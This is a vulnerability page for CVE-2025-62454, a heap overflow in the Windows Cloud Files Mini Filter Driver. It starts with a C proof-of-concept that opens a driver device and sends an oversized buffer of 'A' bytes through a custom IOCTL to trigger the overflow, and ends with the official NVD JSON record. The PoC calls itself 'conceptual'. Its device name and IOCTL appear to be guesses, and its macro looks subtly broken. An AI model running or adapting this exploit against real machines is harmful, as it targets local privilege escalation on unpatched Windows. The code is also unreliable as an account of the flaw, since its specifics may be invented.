CVE-2025-62454

// CVE-2025-62454 PoC - Windows Cloud Files Mini Filter Driver Heap Overflow // Author: Security Researcher // Note: This is a conceptual PoC for educational purposes only #include <windows.h> #include <stdio.h> // IOCTL code for Cloud Files Mini Filter Driver communication #define FILE_DEVICE_CLOUD_FILES 0x0000009A #define IOCTL_CF_MINI_FILTER (FILE_DEVICE_CLOUD_FILES << 16) | (FILE_WRITE_ACCESS << 14) | (0x100 << 2) | METHOD_NEITHER int main() { HANDLE hDevice; DWORD bytesReturned = 0; // Open Cloud Files Mini Filter Driver device hDevice = CreateFileW( L"\\\\.\\CloudFilesFilter", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open CloudFilesFilter device. Error: %d\n", GetLastError()); return 1; } printf("[+] CloudFilesFilter device opened successfully\n"); // Prepare malicious input buffer to trigger heap overflow // Size must exceed driver's internal buffer allocation PVOID inputBuffer = VirtualAlloc(NULL, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!inputBuffer) { printf("[-] Failed to allocate input buffer\n"); CloseHandle(hDevice); return 1; } // Fill buffer with controlled data to manipulate heap memset(inputBuffer, 0x41, 0x10000); printf("[+] Sending malicious IOCTL request...\n"); // Trigger the vulnerable code path BOOL result = DeviceIoControl( hDevice, IOCTL_CF_MINI_FILTER, inputBuffer, 0x10000, NULL, 0, &bytesReturned, NULL ); if (result) { printf("[+] IOCTL request completed\n"); } else { printf("[!] IOCTL request failed. Error: %d\n", GetLastError()); } VirtualFree(inputBuffer, 0, MEM_RELEASE); CloseHandle(hDevice); return 0; }

{"cve": {"id": "CVE-2025-62454", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:56.793", "lastModified": "2025-12-12T20:03:23.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "5CEB496A-8AF3-458D-B466-16204E535DE0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "C99D0580-E443-4440-A211-19BA3C2C4AFA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6691", "matchCriteriaId": "9D04167A-522C-433E-8CEB-C1D8A02C23D8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6691", "matchCriteriaId": "A86D6CDC-55E5-4817-A6CE-4CE41921FB79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6345", "matchCriteriaId": "6DCE32D0-A9E0-4029-AB35-5E202A42AF01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "8DCD2A6E-7CD0-4FCC-AC11-5A1470776C24"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7392", "matchCriteriaId": "8EA08CDD-D682-403D-8B50-879EB4D88C67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "A20DBDB1-D0DE-4800-8BEA-35EE5D53659D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4467", "matchCriteriaId": "C552FBB4-8F98-492E-A084-AF14C9514A67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2025", "matchCriteriaId": "E9CE4A36-DA42-40CC-8724-E30A22CA84B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "35BBEADA-D039-479B-A1BA-B2A7E37235BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62454", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}